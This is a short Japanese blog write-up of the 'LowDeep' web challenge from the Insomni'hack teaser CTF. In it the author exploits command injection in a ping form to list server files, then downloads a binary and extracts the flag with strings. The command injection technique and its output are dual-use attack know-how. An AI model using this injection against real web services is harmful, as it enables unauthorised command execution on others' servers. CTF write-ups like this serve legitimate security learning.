URL: https://teaser.insomnihack.ch/challenges/

10問中1問解きました。ほとんどの人が解いた簡単なやつだけです。

ブログ書くか悩みましたが、とりあえず、参加した記録として残しておきます。



[Web]: LowDeep


Challenge

Try out our new ping platform: lowdeep.insomnihack.ch/


Solution

見るからにCommand Injectionなんです。

insomniCTF_LowDeep.png


以下、“ls -l"の結果です。

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.019 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.019/0.019/0.019/0.000 ms
total 28
drwxr-xr-x 3 root root 4096 Jan 17 09:57 .
drwxr-xr-x 3 root root 4096 Jan 7 16:52 ..
drwxr-xr-x 4 root root 4096 Jan 17 09:57 _res_
-rw-r--r-- 1 root root 1367 Jan 16 15:30 index.php
-rw-r--r-- 1 root root 6128 Jan 16 13:10 print-flag
-rw-r--r-- 1 root root 42 Jan 16 15:35 robots.txt


print-flag には実行権が付いていないので、サーバ上では実行できません。なので、ダウンロードしてきます。

$ file print-flag
print-flag: ELF 64-bit LSB shared object x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=72c589834f878a6a3267944f305c29166a1ace8b, stripped


ChmodしてLinux上で実行してもフラグは取れますが、それ以前にstringsで取れます。

$ strings print-flag | grep -i ins
INS{Wh1le_ld_k1nd_0f_forg0t_ab0ut_th3_x_fl4g}


Flag: INS{Wh1le_ld_k1nd_0f_forg0t_ab0ut_th3_x_fl4g}